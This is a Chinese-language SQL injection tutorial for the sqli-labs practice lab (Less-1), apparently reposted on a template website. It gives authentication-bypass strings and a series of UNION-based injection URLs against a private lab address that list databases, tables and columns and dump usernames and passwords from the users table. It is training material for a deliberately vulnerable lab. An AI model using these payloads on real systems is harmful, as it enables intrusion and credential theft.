SQL注入之核心語法講解
SQL實驗室第一關
前言
一、搭建sqli-labs實驗環(huán)境
下載sqli-labs到phpstudy的www目錄下
打開localhost/sqli-labs運行即可
二、SQL注入核心語法
1.構造萬能密碼和簡單構造注入
(1)注入語句
‘~’ 相當于16進制的0x7e
萬能密碼 'or ‘1’ ='1
’ and ‘1’=‘1
’ and 1=2 union select 1,user(),3- -+ 前面加’是為了閉合后面的’
(2)group_concat(string)
2.核心語法獲取數(shù)據(jù)庫信息
(1)SQL手工注入方法
select schema_name from information_schema.schemata(查庫)
select table_name from information_schema.tables where table_schema=庫名(查表)
select column_name from information_schema.colums where table_name=表名(查列)
select 列名 from 庫名.表名(查數(shù)據(jù))
例子:
查看數(shù)據(jù)庫
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)- -+
查看表
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)- -+
查看表中的數(shù)據(jù)
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(username,0x7e,password) from security.users)- -+
這里總結一些SQL注入查看信息
http://192.168.222.4/sqli-labs/Less-1/?id=1’ and 1=2 union select 1,user(),3- -+
手工注入獲取數(shù)據(jù)庫信息內(nèi)容
http://192.168.222.4/sqli-labs/Less-1/?id=2’ order by 3- -+ 查看可用字段的長度
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,3- -+
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(schema_name) from information_schema.schemata)- -+ 查看數(shù)據(jù)庫
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select concat_ws(‘~’,username,password)from security.users limit 0,1)- -+ 只會返回一個數(shù)據(jù)(查看表的數(shù)據(jù))
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select concat_ws(0x7e,username,password)from security.users limit 0,1)
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select group_concat(username,0x7e,password)from security.users)- -+ 會返回所有數(shù)據(jù)
http://192.168.222.4/sqli-labs/Less-1/?id=’ union select 1,2,(select database())- -+ 查看數(shù)據(jù)庫文章來源:http://www.zghlxwxcb.cn/news/detail-498816.html
總結
本次實驗簡單介紹SQL注入的一些簡單的核心語法查詢和注入,之后會介紹SQL注入的相關注入方法。文章來源地址http://www.zghlxwxcb.cn/news/detail-498816.html
到了這里,關于滲透測試-SQL注入之核心語法獲取數(shù)據(jù)庫信息的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!